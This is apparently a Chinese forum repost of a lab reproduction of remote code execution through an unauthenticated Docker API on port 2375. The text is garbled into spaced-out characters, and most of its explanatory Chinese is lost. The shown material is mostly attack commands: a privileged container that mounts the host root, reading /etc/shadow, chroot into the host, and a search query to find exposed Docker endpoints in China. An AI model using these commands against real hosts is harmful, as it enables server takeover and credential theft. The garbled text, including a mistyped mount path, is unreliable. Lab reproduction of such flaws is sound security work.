[20413] 2020-12-17_EasyRCEusingDockerAPI复现

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-18
2020-12-17_EasyRCEusingDockerAPI复现 E a s y   R C E   u s i n g   D o c k e r   A P I     E n n 0 g 0 l b e   K h a n   2 0 2 0 - 1 2 - 1 7 h t t p s : / / t w i t t e r . c o m / p t s w a r m / s t a t u s / 1 3 3 8 4 7 7 4 2 6 2 7 6 5 1 1 7 4 9 / p h o t o / 1 D o c k e r D o c k e r   D a e m o n D o c k e r 2 3 7 5 d o c k e r   s o c k e t , r o o t 访 k a l i c e n t o s d o c k e r c e n t o s d o c k e r d o c e k r 访 a p i p a y l o a d :   d o c k e r   - H   x . x . x . x : 2 3 7 5   r u n   - - r m   - i t   - - p r i v i l e g e d   - - n e t = h o s t   - v   / : / m u t   a l p i n e F i l e   A c c e s s :   c a t   / m n t / e t c / s h a d o w   R C E :   c h r o o t   / m n t s u d o   a p t   - y   i n s t a l l   c u r l   g n u p g 2   a p t - t r a n s p o r t - h t t p s   s o f t w a r e - p r o p e r t i e s - c o m m o n   c a - c e r t i f i c a t e s c u r l   - f s S L   h t t p s : / / d o w n l o a d . d o c k e r . c o m / l i n u x / d e b i a n / g p g   |   s u d o   a p t - k e y   a d d   - e c h o   " d e b   [ a r c h = a m d 6 4 ]   h t t p s : / / d o w n l o a d . d o c k e r . c o m / l i n u x / d e b i a n   b u s t e r   s t a b l e "   |   s u d o   t e e     / e t c / a p t / s o u r c e s . l i s t . d / d o c k e r . l i s t a p t   u p d a t e a p t   i n s t a l l   d o c k e r - c e   d o c k e r - c e - c l i   c o n t a i n e r d . i o d o c k e r   v e r s i o n / u s r / l i b / s y s t e m d / s y s t e m / d o c k e r . s e r v i c e s y s t e m c t l   d a e m o n - r e l o a d s y s t e m c t l   r e s t a r t   d o c k e r n e t s t a t   - a n l p | g r e p   2 3 7 5
n m a p k a l i k a i l d o c k e r ~ 2 d o c k e r   - H   1 9 2 . 1 6 8 . 5 . 1 3 5 : 2 3 7 5   r u n   - - r m   - i t   - - p r i v i l e g e d   - - n e t = h o s t   - v   / : / m u t   a l p i n e r u n                               = - - r m                             = f o r e g r o u n d - i t                               = D o c k e r s t d i n T T Y b a s h   s h e l l - - p r i v i l e g e d             = h o s t m o u n t - - n e t = h o s t                 = n e t = h o s t 使 i d - v                                 = 宿 a l p i n e                         = p o r t = " 2 3 7 5 "   & &   p r o t o c o l   = =   d o c k e r   & &   c o u n t r y = " C N "  
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则